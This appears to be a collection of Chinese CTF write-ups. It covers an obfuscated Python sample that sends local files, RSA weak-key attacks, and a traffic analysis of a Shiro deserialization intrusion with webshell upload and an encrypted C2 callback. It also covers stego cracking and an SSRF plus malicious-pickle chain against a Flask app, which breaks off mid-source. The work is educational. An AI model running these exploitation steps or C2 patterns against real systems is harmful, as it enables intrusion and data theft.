{P`-U|v&sL^Vb!A}k;{Gb|u7F*Gb7F*hkG3LqdLARr(hARr(hARr(hAaHVNZgeOjJt80~AT=;43LqdLARr(hARr(hARr(hAYX8DX>N37WM61yVPs`;AUz;da&=`2ARr(hARr(hARr(hUvqR}bY&ntATclsARr(hARr(hWo&6?AYXHIVRU66Jv|^aItm~lARr(hARr(hARusZX>N2VBI%Tw=&!Huyqe~hpyri`=bD7&k-g-*q#`K_ARr(hARr(hARr(hUvqR}bY&ntAUQb-ARr(hARr(hWo&6?AYXHIVRU66Jv|^bItm~lARr(hARr(hARusZX>N2VBIlH-=ChUWyqa)%bZBpGAY*K4Wo~pXaCsm+V{dJ3VQyqTAX`&KQdUJ$Ur0|=R9zw|3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)%s`ARr(hARr(hARr(hbaHt*3LqdLARr(hARr(hARr(hAYXHDV{0HiAaieHYh`pUb8lm7WppTWZ)0m^bS^<gUrA0yR4gEKZ)0m^bS_g*LrY&%R8mDjO(_Z>ARr(hARr(hARr(hARr)Lb97;JWgtBuF)<1tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>i3LqdLARr(hARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GF)=y{ARr(hARr(hARr(hUubW0bRaz-UuR`>Uvp)0c4cy3Xm4|LD06vpE@5(Kb}0%VARr(hARr(hARr)Lb97;JWgtBuF)|7uARr(hARr)RY-wg7UvqR}bY&ntJs>eMItm~lARr(hARr(hARu&dc{&OpARr(hARr(hARr(hARr)Lb8lm7E@N+QZe?S1C@5cOZ*z1kAX7zBRz*@@P)|}+DJcpdARr(hARr(hARr(hARr)Lb97;JWgtBuGB64tARr(hARr(hARr)Rcw=R7bRb1|V`Xr3X>V>IVRIm5Itm~lARr(hARr(hARr(hARusZX>N2VW+Gc5T_EVcp5~6F<)pFbw59L7ntNq^A}I<WARr(hARr(hARr(hARr)Lb97;JWgtBuIXMa-ARr(hARr)RY-wg7UvqR}bY&ntJs>hLItm~lARr(hARr(hARuXGAYW-@cpy9=Y-MgJMoCOXQ(sh1UsFX+L@7E7ARr(hARr(hARr(hARr(hUvqR}bY&ntATluuARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;6FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATlvJ3LqdLARr(hARr(hAYW!~VQpm~Js?I&Ohr>)R8L=1MNULpUuk4`T?!x|ARr(hARr(hARu3JbYXO5AUz;5G72CdARr(hARuLIX=Wf_b97;JWgtC0ATlyK3LqdLARr(hARr(hAZcbGZ*wkiVRUFNWq4_GbaN<QW^Q3^WhpueARr(hARr(hARr(hARr(hUvqR}bY&ntATl!wARr(hARr(hARr(hWo&b0Itm~lARr(hARr(hARr(hARu3JbYXO5AUz;5I0_&jARr(hARuLIX=Wf_b97;JWgtC0ATl#L3LqdLARr(hARr(hAa`kWXdrKJWo{^6W^Q3^Wh@{fa$+JWAYpSLUuHTAARr(hARr(hARr(hARr(hUu0o)VIVyqUuG_HWnp9}DGDGUARr(hARr(hARu3JbYXO5AUz;5GzuUfARr(hARuLIX=Wf_b97;JWgtC0ATl&M3LqdLARr(hARr(hAZcbGUvF?>adl;1baHiNC@DG$ARr(hARr(hARr(hARr(haB^vGbSP#bTPj^3<&Tl+fPv<ghvd7qA}I<WARr(hARr(hARr)Lb97;JWgtBuGBpYyARr(hARr)RY-wg7UvqR}bY&ntJs>hQItm~lARr(hARr(hARuXGAZ~ATAYX5AVR3b3UuI!!b7d$gItm~lARr(hARr(hARr(hARu#PZe(9`X>Mn1WnX4#Y-K24b8lm7EFfQIZeeX@EFfQGVRT_B3LqdLARr(hARr(hAYXHIVRU66Js>hR3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GGB!F2ARr(hARr(hARr(hUuk4`AS*o}F$y3cARr(hARr(hARu3JbYXO5AUz;5FbW_bARr(hARuLIX=Wf_b97;JWgtC0ATl^Q3LqdLARr(hARr(hAaHVNZgePSB3mt8Am)~b<h!=yxQ*qlnB|<PA}I<WARr(hARr(hARr)Lb97;JWgtBuGC2w$ARr(hARr)RY-wg7UvqR}bY&ntJs>hUItm~lARr(hARr(hARu39WOyJeJs>d(ARr(hARr(hARr(hUvqR}bY&ntATlrtARr(hARr(hWo&6?AYXHIVRU66Jv|^ZFggk#ARr(hARr(hARr)VW*}d0aA9$EWnXl1b!8|iItm~lARr(hARr(hARr(hARu&UZDlTVY-MF|C@?NEDGDGUARr(hARr(hARu3JbYXO5AUz;6F$y3cARr(hARuLIX=Wf_b97;JWgtC0ATu#K3LqdLARr(hARr(hAZcbGUvqC`YdQ)bARr(hARr(hARr(hARr)Lb8lm7E@NzOb7d$g3LqdLARr(hARr(hAYXHIVRU66Js>$b3LqdLARr(hAZ2W6W*}d4bYXO5AU!=GIXOBCARr(hARr(hARr(hVsd3+YYGYqX=Wf_Uv6P-WnW()Jv|^_Z)GSVG%{y7X>?&qK0_ibAUHEDATlvDEFdvADLM)uARr)LWMyGwUt?ixV<;&KARr(hX=Wf_Z*XC8b!A_4a&=`WDLM)uARr(hARr)ZVQFqCDGDGUARuLIb7eXTARr(hARr(hUu0!rWM5-pY-1=X3I'
_obf_exec(base64.b85decode(_1667).decode())这里基本已经把信息点暴露出来了:
- 存在一个自定义 Base64
KEY_B64是密钥材料- 实际加密只用
key[:16] - 要发送的文件就是:
readme.txtflag.txtconfig.txt
_oe 这层反编译得不太完整,但前面逻辑还能看出来,核心流程是:
base85解码- 按循环密钥异或
- 对字母/数字再做一次位移还原
我这边直接把它按真实逻辑补出来跑一遍,就能把字符串全还原。
恢复后结果如下。 FILES_TO_SEND
["readme.txt", "flag.txt", "config.txt"]QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@标准表对应的是:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/解出来以后得到:
eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE再走一遍自定义 Base64 解码,得到实际 KEY:
passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B而题目真正拿去加密的是:
key[:16] = b"passvkcDKWLAA45o"到这里 Python 部分其实已经分析完了,剩下的就全看 crypt_core.so。
一开始看这个 .so 的伪代码会很恶心,全是异常反编译结果,比如 outsb / outsd / arpl 这种,一眼假代码。
这种时候直接盯伪代码没意义,还是要回到汇编和常量特征。
模块里暴露的核心函数就是:
encode_data(plaintext, key)Python 里直接调用它来加密文件内容,所以我们的目标就是把这个函数逻辑摸清楚。
继续看函数内部,有几个很明显的特征:
- 分组大小是 16 字节
- 有 padding,且形式符合 PKCS#7
- 有轮密钥扩展
- 轮函数里是「S 盒替换 + 多次循环左移异或」
- 输入输出都是按 32-bit 大端字处理
其中最显眼的是两类线性变换:
x ^ rol(x, 2) ^ rol(x, 10) ^ rol(x, 18) ^ rol(x, 24)密钥扩展中的线性层
x ^ rol(x, 13) ^ rol(x, 23)这俩一出来,第一反应就是 SM4。
因为标准 SM4 的 L 和 L' 正好就是这两个形式。
所以我一开始也以为它就是标准的 SM4-ECB + PKCS7。
按这个思路写脚本,用:
- key =
b"passvkcDKWLAA45o" - 模式 = ECB
- padding = PKCS#7
去解三段 ciphertext,结果发现完全不对,尤其 flag.txt 根本不是正常 flag。
这说明有两种可能:
- key 算错了
crypt_core.so看着像 SM4,但其实不是标准实现
前面 Python 部分已经基本能确认 key 没问题,所以问题只可能出在 .so。
后面继续顺着汇编抠,发现这个模块虽然整体框架很像 SM4,但轮数不是标准 32 轮。
标准 SM4 是:
- 32 轮
- 固定 FK / CK 常量
- 固定 S-box
而这题这个实现实际是:
- 24 轮变体
- 框架长得像 SM4
- 但并不是照搬标准库
也就是说,前面看到的 L / L' 只是“长得像 SM4”,不能直接套标准实现。
这一点是整题最坑的地方:
它不是 AES,也不是 RC4,也不是标准 SM4,而是一个 SM4 风格的自定义块加密。
把 encode_data 逆下来后,可以还原出它的整体流程:
- 明文做 PKCS#7 padding
- 按 16 字节分组
- 每组拆成 4 个 32-bit word
- 跑自定义 24 轮轮函数
- 按尾序回写输出
因为 encode_data 是加密函数,所以反向只要把轮密钥逆序跑一遍就行。
我这边直接写了解密脚本,套进去三段密文后就能拿到明文。
题目给的三段数据是:
readme.txt:
4fe09336577aa52de2d0de1489784d0f6306686ceeae6b28e578c70f5f74fa2a9e48d441c78c3633e2f6335ff00722818ab4c977d77d6dd7d2595640ebf6abc4229230cbb0a238bd1f151f69026e5d8d45e47c89898cbc2875d62933b7cef22379f97a499e4716b92ba8c6eb687d56e385ef94071d2ccd18fc72f4d670d680d801216d06e1a1214041fb7f66fef6c55b8d9b94a9231f60504ed77231c0db127a8647fdb8ed958c259c56d7638f4bf3e1
flag.txt:
d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761
config.txt:
649d0fa1844f4a8ab171ab4150fc0155a89df8a4c568c63670293841c771bb63191efd24174a0039a2b80ab17a4d8cfd71a112e23c5ccf1927c933eb987ad533密钥就是:
passvkcDKWLAA45o解出来分别是:readme.txt
System Configuration Backup
===========================
Created: 2026-03-15
Author: admin
This backup contains sensitive configuration files.
Handle with care!config.txt
server_host=192.168.1.100
server_port=8888
test configflag.txt
dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}可以,下面我按你给的那个风格,把这题完整整理成一份 WP。
Rsa
可以看到主要内容是:
level1/level2.zip
level1 里面有:
encrypt.pygenerate-plaintexts.py- 一堆
key-*.pem - 一堆
ciphertext-*.bin README.md
README.md 内容如下:
level2.zip 密码藏在多个message里面
我把多个message通过 Asmuth-Bloom 秘密共享保存
然后把Asmuth-Bloom 秘密共享的内容通过RSA加密保管起来,这下只有我才能知道message是什么了吧这里已经把题目的路线说得很清楚了:
level2.zip的密码藏在多个 message 里- message 被做了 “Asmuth-Bloom 秘密共享”
- 这些 share 又被 RSA 加密保存成了 ciphertext
所以第一层的目标就是:
把
ciphertext-*.bin解出来,恢复 message,再从中拿到level2.zip的密码。
分析 encrypt.py先看加密逻辑:
import random
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
def get_rand_bytes(length):
return bytes([random.randrange(256) for _ in range(length)])
def encrypt(public_key, message):
if isinstance(message, str):
message = message.encode('utf-8')
n = public_key.n
n_bits = n.bit_length()
if n_bits >= 2048:
key_len = (n.bit_length() + 7) // 8
symmetric_key = get_rand_bytes(32)
msg_header = PKCS1_OAEP.new(public_key).encrypt(symmetric_key)
nonce = get_rand_bytes(12)
cipher = AES.new(symmetric_key, mode=AES.MODE_GCM, nonce=nonce)
msg_body, tag = cipher.encrypt_and_digest(message)
return msg_header + nonce + msg_body + tag
else:
symmetric_key = get_rand_bytes(16)
key_int = bytes_to_long(symmetric_key)
if key_int >= n:
while key_int >= n:
symmetric_key = get_rand_bytes(16)
key_int = bytes_to_long(symmetric_key)
encrypted_key_int = pow(key_int, public_key.e, n)
key_len = (n.bit_length() + 7) // 8
msg_header = long_to_bytes(encrypted_key_int, key_len)
nonce = get_rand_bytes(12)
cipher = AES.new(symmetric_key, mode=AES.MODE_GCM, nonce=nonce)
msg_body, tag = cipher.encrypt_and_digest(message)
return msg_header + nonce + msg_body + tag这里有两个分支:
n_bits >= 2048
走:
- RSA-OAEP 加密一个 32 字节对称密钥
- 再用 AES-GCM 加密 message
n_bits < 2048
走:
- 随机生成 16 字节 symmetric_key
- 直接做裸 RSA:
pow(key_int, e, n) - 然后还是 AES-GCM 加密 message
也就是说,只要能恢复 RSA 私钥,就能解出对应 ciphertext。
分析 generate-plaintexts.py再看 message 是怎么构造的:
from Crypto.Util.number import getPrime
import random
class AsmuthBloomSecretSharer:
@staticmethod
def split_secret(secret, k, n):
if isinstance(secret, str):
secret_bytes = secret.encode('utf-8')
else:
secret_bytes = secret
S = int.from_bytes(secret_bytes, 'big')
secret_bits = S.bit_length()
original_bits = len(secret_bytes) * 8
d = []
base_bits = max(64, (secret_bits * 2) // k)
for i in range(n):
bits = base_bits + i * 10
attempts = 0
while attempts < 100:
p = getPrime(bits)
if not d or p > d[-1]:
d.append(p)
break
attempts += 1
if attempts >= 100:
bits += 50
p = getPrime(bits)
d.append(p)
shares = []
for i, di in enumerate(d):
ki = S % di
share_str = f"{di:x}:{ki:x}:{original_bits:x}"
shares.append(share_str)
return shares这题所谓的 “Asmuth-Bloom” 实际上非常简化,share 其实就是:
di : S mod di : bitlen后面主流程:
with open('message1.txt', 'r') as f:
PLAINTEXTS = [f.read()] * 10
for i in range(2, 11):
with open(f'message{i}.txt', 'r') as f:
msg = f.read().strip()
k = i
shares = AsmuthBloomSecretSharer.split_secret(msg, k, 10)
for j in range(10):
PLAINTEXTS[j] += shares[j] + '\n'也就是说每个 plaintext-j.txt 都是:
- 第一行固定 message1 的内容
- 后面 9 行分别是
message2 ~ message10的 share
所以只要拿到足够多的明文,就可以对每个 message 的 share 做 CRT 重构。
先检查公钥有没有弱点 目录里有 20 个公钥:
key-0.pem ~ key-19.pem直接把所有 n 拿出来做常见检查:
- 共模 / 共因子
- Wiener 小私钥攻击
- Fermat 分解
实际跑下来有两个明显漏洞:
- 共享质因子
key-1.pem 与 key-2.pem 共因子
key-15.pem 与 key-4.pem 共因子也就是:
g = gcd(n1, n2)直接出质因子。
- Wiener / Fermat
还有一些 key 可以直接被 Wiener 或 Fermat 干掉。
最后总共成功恢复出 11 个私钥:
key-1.pem
key-12.pem
key-13.pem
key-15.pem
key-17.pem
key-18.pem
key-2.pem
key-3.pem
key-4.pem
key-6.pem
key-7.pem解密 ciphertext
然后根据密文长度和密钥长度匹配解密。成功解出来的有这些:
ciphertext-1.bin->key-3.pemciphertext-2.bin->key-6.pemciphertext-3.bin->key-4.pemciphertext-4.bin->key-7.pemciphertext-5.bin->key-17.pemciphertext-8.bin->key-1.pemciphertext-9.bin->key-18.pem
解出来的明文格式都是:
Great job! You've successfully decoded a ciphertext!
<share for message2>
<share for message3>
...
<share for message10>例如 ciphertext-1.bin 解出来长这样:
Great job! You've successfully decoded a ciphertext!
5d7a67...edb5:416e6f...6475737421:180
2fb42f...0b8b:ee17ba...526c:118
49278d...9f7:1943e2...843:118
...其中每一行都是:
modulus : remainder : bitlen用 CRT 重构 message2 ~ message10
题目这个 share 本质就是:
S mod di所以直接对同一行收集多个 share,做中国剩余定理即可恢复原始 S。
即对每个 message:
S ≡ ki (mod di)多组联立后用 CRT 解出唯一的 S。
恢复结果如下。
message2
Another success! One more cipher bites the dust!message3
You're nearly there! Keep going! 3!message4
You're nearly there! Keep going! 4!message5
You're nearly there! Keep going! 5!message6
You're nearly there! Keep going! 6!message7
Congratulations! next pass is 9Zr4M1ThwVCHe4nHnmOcilJ8。真正有用的是:
9Zr4M1ThwVCHe4nHnmOcilJ8末尾那个中文句号只是文本内容,不是密码本体。
所以 level2.zip 密码就是:
9Zr4M1ThwVCHe4nHnmOcilJ8解 level2.zip
用上面的密码解压:
unzip -P '9Zr4M1ThwVCHe4nHnmOcilJ8' level2.zip得到:
task.pylevel3.zip
看 task.py:
import gmpy2
import hashlib
from Crypto.Util.number import *
p = getPrime(512)
q = getPrime(512)
d = getPrime(180)
lam = (p-1) * (q-1) // gmpy2.gcd(p-1, q-1)
e = gmpy2.invert(d, lam)
n = p * q
m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
poly2_coeffs = generate_polynomial_coefficients(2)
poly3_coeffs = generate_polynomial_coefficients(3)
m2 = evaluate_polynomial(poly2_coeffs, m1, n)
m3 = evaluate_polynomial(poly3_coeffs, m1, n)
c1 = pow(m1, e, n)
c2 = pow(m2, e, n)
c3 = pow(m3, e, n)
flag_hash = hashlib.sha256(str(p + q).encode()).hexdigest()
flag = f"next pass is {flag_hash}"后面给出了:
nec1c2c3- 多项式系数
关键点:d 很小
这里最关键的是:
d = getPrime(180)也就是私钥指数只有 180 bit,非常小。
标准 Wiener 不一定直接能过,因为这里不是简单的 phi(n),而是:
lam = lcm(p-1, q-1)
e = d^{-1} mod lam不过注意到:
lam = phi / gcd(p-1, q-1)只要 g = gcd(p-1, q-1) 比较小,就可以推广 Wiener 思路。
实际枚举小 g,对 (e*g)/n 做连分数逼近,最后成功找到:
g = 4
d bits = 180并恢复出:
p = 10932961240863053140021227333995503042196506533433133299916502568289020826078008576745192725272664686384293526720057562101790406102729886343233171385110689
q = 9107629749578703007521753435128188255997152813554367948373413785978810344628038189563213036161837882971963700600044412434325055960560499599730973768232229题目要的下一层密码是:
sha256(str(p + q).encode()).hexdigest()算出来是:
2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac所以 level3.zip 的密码就是:
2aa9c360df99cbb4209e4dbab5a9f9ffd86d34906e3206fecfdabf0bb7aeb5ac第三层:解 level3.zip
解压后得到一个新的 task.py:
from Crypto.Util.number import getPrime, bytes_to_long
p = getPrime(1536)
q = getPrime(1536)
n = p * q
e = 65537
flag = b"dart{**************}"
c = pow(bytes_to_long(flag), e, n)
CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
MOD128 = 2 ** 128
MASK64 = (1 << 64) - 1
MASK128 = (1 << 128) - 1
leak = ( (p * CONST1) ^ (q * CONST2) ^ ((p & q) << 64) ^ ((p | q) << 48) ^ ((p ^ q) * CONST3) ) + ((p + q) % MOD128) ^ ((p * q) & MASK64)同时给了:
necleak
这一层的思路
看起来 leak 很复杂,混了:
- 乘法
- 异或
- 与 / 或
- 左移
- 加法
第一眼会以为要上 z3 或格攻击。
但实际上这里有个很好用的性质:
低位恢复可以一位一位做。
因为:
- 已知
n = p * q p, q都是奇数,所以最低位一定是 1- 对于第
k位,只要枚举当前新加的一位(bp, bq),就能检查:
(p*q) mod 2^k是否匹配n mod 2^kleak mod 2^k是否匹配给定 leak 的低k位
这样就可以从低位往高位,一位一位恢复。
也就是:
for k in range(1, 1537):
枚举 p 的第 k-1 位、q 的第 k-1 位
检查 n mod 2^k
检查 leak mod 2^k实际跑下来非常顺,几乎每一步都只有唯一候选。
最后完整恢复出:
p = 1707409731376314795999673399644896831773113631916193464259935767498639233398656041693151647684636824933980722820855222725690297941643517419906221825861730073489224554305559179283922396783611098752937409830400941648419260598819028494552512482509512236956144966960506482426135682006340832164470103583395459735070745893411476234089404558564875229768662461905874150673437533528191205114624917667791799816966017830043080586780620851038224028348188524334138215456616749
q = 2141573345627585371553787251648053741410445905256360451856340437573603641142767425814601119975790360922588103737873793493614076837288293103777795188569218362732735616305950754442774259470221411601014586798147206055920156749954034989669601788173864983031343224818275175942690789067112461738865540083192521838275489406927966810543155749231403489582462847315255827362973792259727757243033997062234932720733059810639405260209480382634232650958389211775287627610180991而且验证:
p * q == n成立。
最后解密 flag
有了 p, q,就能正常解 RSA:
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)解出来就是:
dart{379c9308-e9a8-45a1-bd55-45bbd822e86d}traffic_hunt
这道题给的是一份网络流量 pcapng,题目要求“分析工程师获得的流量求 flag”,flag 格式为 dart{}。拿到流量后第一步先在 Wireshark 中整体浏览通信结构,可以看到主要是 HTTP 流量,其中存在明显的 Apache Shiro 特征:HTTP 请求头中多次出现 rememberMe= 字段,而且该字段内容很长,是 Base64 字符串。这是典型的 Shiro rememberMe 反序列化利用流量。
继续过滤 HTTP 请求,可以看到某个请求开始之后,服务器响应异常,并且后续请求中出现了大量带有 rememberMe 的数据包。这里使用常见的 Shiro 流量分析工具(或者自己提取 Base64)来还原 rememberMe 的 payload。解码 rememberMe 后得到 .ser 文件,再进行 Java 反序列化结构还原,可以看到典型的利用链对象结构(例如 commons-collections 链)。这说明攻击者通过 rememberMe 反序列化成功执行了命令。
进一步查看工具输出日志,可以发现攻击者执行了一些探测命令,例如:
whoami
pwd
ls -la
w解密返回结果后可以看到:
whoami -> root
pwd -> /
ls -la -> 系统根目录文件列表这说明攻击者已经成功获得命令执行权限,而且是 root 权限。
在后续的 rememberMe payload 中,可以发现一条特殊的请求,其内容是一个 .class 文件被上传。日志显示:
检查到上传webshell
文件名:/favicondemo.ico
密码:HWmc2TLDoihdlr0N
密钥:1f2c8075acd3d118了一个 Java 内存 webshell。
到这里攻击路径已经比较清晰:
Shiro rememberMe 反序列化
↓
命令执行
↓
上传 Java webshell (/favicondemo.ico)
↓
后续通过 webshell 进行加密通信接下来继续在 Wireshark 中过滤访问 /favicondemo.ico 的 HTTP 请求,可以看到后续存在大量 POST 请求,并且请求体和响应体都是看起来像 Base64 的长字符串。这是典型的 webshell 客户端与服务端加密通信。
在流量中继续分析,可以看到攻击者下载并执行了一个程序:
/var/tmp/out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=执行之后主机 10.1.33.69 会主动连接 10.1.243.155:7788。
因此继续在 Wireshark 中过滤:
tcp.port == 7788可以看到一段新的 TCP 会话。这段流量不是 HTTP,而是自定义协议。分析数据结构可以发现每个包的格式是:
4字节 小端长度
AES-GCM 加密数据密钥就是前面命令行参数中的:
IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=这是 Base64,需要先解码为 32 字节 AES key。
接下来把 7788 端口的数据流导出,然后编写脚本进行解密。解析流程是:
- 读取 TCP payload
- 按照 4 字节小端长度切分
- 对后面的数据进行 AES-GCM 解密
- 输出明文
解密脚本如下:
import base64
import struct
from Crypto.Cipher import AES
key_b64 = "IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs="
key = base64.b64decode(key_b64)
def decrypt_packet(data):
nonce = data[:12]
tag = data[-16:]
ciphertext = data[12:-16]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return plaintext
def parse_stream(stream):
i = 0
while i < len(stream):
length = struct.unpack("<I", stream[i:i+4])[0]
i += 4
packet = stream[i:i+length]
i += length
try:
pt = decrypt_packet(packet)
print(pt.decode(errors="ignore"))
except:
pass
with open("tcp7788.bin","rb") as f:
data = f.read()
parse_stream(data)运行脚本后可以得到还原后的 C2 通信内容:
pwd
/var/tmp
ls
out
echo Congratulations
Congratulations
echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi
echo bye
bye可以看到攻击者执行了一个 echo,输出了一串很长的字符串:
3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi在整个通信中,这一串是唯一明显像 token/flag 的字符串最终 flag 为:
base58-->base64解出flag
dart{d9850b27-85cb-4777-85e0-df0b78fdb722}
stefanography
根据文件末端可以推测是7z压缩魔改:
把FFFFFFFF改成37 7a bc af即可
得到了一张图片放到随波逐流发现有lsb隐写
stegslove导出rgb000的压缩包
随便看看发现都是4字节,所以猜测是CRC32攻击
pass*.zip 每个压缩包里只有一个 4字节文件,而 ZIP 目录里记录了该文件的 CRC32。
利用 CRC32 可以爆破出对应的 4 字节字符串。
import itertools
import string
import zlib
target_crc = 0x8c736521 # pass1.zip 的 CRC32
charset = string.printable
for s in itertools.product(charset, repeat=4):
candidate = "".join(s).encode()
if zlib.crc32(candidate) & 0xffffffff == target_crc:
print("found:", candidate)
break爆破出来拼接成一句话:
pass is c1!xxtLf%fXYPkaA
去掉前面的提示语 pass is ,真正密码就是:
c1!xxtLf%fXYPkaA然后用这个密码解开 flag.zip,能拿到一个 flag.txt。但打开以后会发现,内容并不是直接明文 flag,而是一段文本,猜测是零宽
def decode_zero_width(text):
bits = ""
for ch in text:
if ch == '\u200b': # zero width space
bits += "0"
elif ch == '\u200c': # zero width non-joiner
bits += "1"
result = ""
for i in range(0, len(bits), 8):
byte = bits[i:i+8]
if len(byte) == 8:
result += chr(int(byte, 2))
return result
with open("flag.txt", "r", encoding="utf-8") as f:
data = f.read()
flag = decode_zero_width(data)
print(flag)Auth
先注册一个随机普通用户,建立基础 session。后续所有动作都以这个用户为支点展开。
原因:
- 后面要把 user:<当前用户> 的 role 改成 admin
- 后面还要把恶意 pickle 写到 online_user:<当前用户>
头像 URL 下载存在 SSRF / 任意文件读取
/profile/avatar 的 URL 下载功能会请求用户提供的地址。由于底层使用 urllib.request.urlopen(),因此不只是能访问 http://,也能访问 file://。
利用方式非常直接,例如:
file:///etc/passwd
file:///app/app.py
file:///proc/self/environ
file:///etc/redis/redis.conf服务器读取到内容后,会做 base64 编码并嵌进 <img src="data:...;base64,..."> 里,所以即使不是图片,也能在页面源码里拿到原始内容。
这一步的价值是:
- 读源码
- 读 Redis 配置
- 读 /proc/* 信息
- 进一步定位本地服务、密码、token、脚本路径
app.py:
from flask import Flask, request, jsonify, render_template_string, session, redirect, url_for
import redis
import pickle
import requests
import base64
import os
import io
import datetime
import urllib.request
import urllib.error
import secrets
import json
app = Flask(__name__, static_folder='static', static_url_path='/static')
def render_page(title, content, username=None, role=None, show_nav=True):
"""生成带有样式的HTML页面
Args:
title: 页面标题
content: 主要内容HTML
username: 当前用户名(可选)
role: 用户角色(可选)
show_nav: 是否显示导航(默认True)
"""
# 导航菜单
nav_menu = ''
if show_nav:
if username:
nav_menu = f'''
<nav>
<ul>
<li><a href="/home">用户中心</a></li>
<li><a href="/profile">个人属性</a></li>
'''
if role == 'admin':
nav_menu += '''
<li><a href="/admin/online-users">在线用户</a></li>
<li><a href="/admin/users">注册用户</a></li>
'''
nav_menu += f'''
<li><a href="/logout">退出登录</a></li>
</ul>
</nav>
'''
else:
nav_menu = '''
<nav>
<ul>
<li><a href="/login">登录</a></li>
<li><a href="/register">注册</a></li>
</ul>
</nav>
'''
# 用户信息显示
user_info = ''
if username:
user_info = f'<div class="user-info">欢迎, {username}! (角色: {role})</div>'
html = f'''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>{title} - auth</title>
<link rel="stylesheet" href="/static/style.css">
<link rel="icon" href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🔒</text></svg>">
</head>
<body>
<div class="container">
<header>
<h1>{title}</h1>
{user_info}
</header>
{nav_menu}
<main>
{content}
</main>
<footer>
<p>© 2026 auth | 简约安全设计</p>
</footer>
</div>
<script src="/static/script.js"></script>
</body>
</html>
'''
return html
class User:
def __init__(self, username, password=None):
self.username = username
self.password = password
self.role = "user"
self.created_at = "2026-01-20"
def __repr__(self):
return f"User(username={self.username!r}, role={self.role!r})"
class OnlineUser:
"""在线用户类,用于保存登录状态信息"""
def __init__(self, username, role="user"):
self.username = username
self.role = role
self.login_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# 设置失效时间为登录时间后1小时
expiry = datetime.datetime.now() + datetime.timedelta(hours=1)
self.expiry_time = expiry.strftime("%Y-%m-%d %H:%M:%S")
self.ip_address = request.remote_addr if request else "unknown"
def __repr__(self):
return f"OnlineUser(username={self.username!r}, role={self.role!r}, login_time={self.login_time!r}, expiry_time={self.expiry_time!r})"
class RestrictedUnpickler(pickle.Unpickler):
"""限制性的Unpickler,只允许OnlineUser类和安全的内置函数"""
ALLOWED_CLASSES = {
'__main__.OnlineUser': OnlineUser,
'builtins': __builtins__
}
def find_class(self, module: str, name: str):
full_name = f"{module}.{name}"
# 允许builtins模块的基础类型和安全函数
if module == "builtins" and name in ["getattr", "setattr", "dict", "list", "tuple"]:
return getattr(__builtins__, name)
# 白名单检查
if full_name in self.ALLOWED_CLASSES:
return self.ALLOWED_CLASSES[full_name]
raise pickle.UnpicklingError(f"Class '{full_name}' is not allowed")
# Redis配置
CONFIG_FILE_PATH = '/opt/app_config/redis_config.json'
# 默认配置值
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_PASSWORD = '123456'
# 尝试从配置文件读取配置
try:
if os.path.exists(CONFIG_FILE_PATH):
print(f"从配置文件读取Redis配置: {CONFIG_FILE_PATH}")
with open(CONFIG_FILE_PATH, 'r') as config_file:
config = json.load(config_file)
# 从配置文件获取配置值,如果不存在则使用默认值
REDIS_HOST = config.get('redis_host', REDIS_HOST)
REDIS_PORT = config.get('redis_port', REDIS_PORT)
REDIS_PASSWORD = config.get('redis_password', REDIS_PASSWORD)
print(f"配置文件读取成功: host={REDIS_HOST}, port={REDIS_PORT}")
try:
os.remove(CONFIG_FILE_PATH)
print(f"配置文件已删除: {CONFIG_FILE_PATH}")
except Exception as delete_error:
print(f"警告:无法删除配置文件 {CONFIG_FILE_PATH}: {delete_error}")
else:
print(f"配置文件不存在: {CONFIG_FILE_PATH},使用默认Redis配置")
except Exception as config_error:
print(f"配置文件读取失败: {config_error},使用默认Redis配置")
# 连接Redis
try:
r = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, password=REDIS_PASSWORD, decode_responses=False)
r.ping()
print(f"Redis连接成功: {REDIS_HOST}:{REDIS_PORT}")
# 从Redis获取或生成随机secret_key
SECRET_KEY_REDIS_KEY = 'app:secret_key'
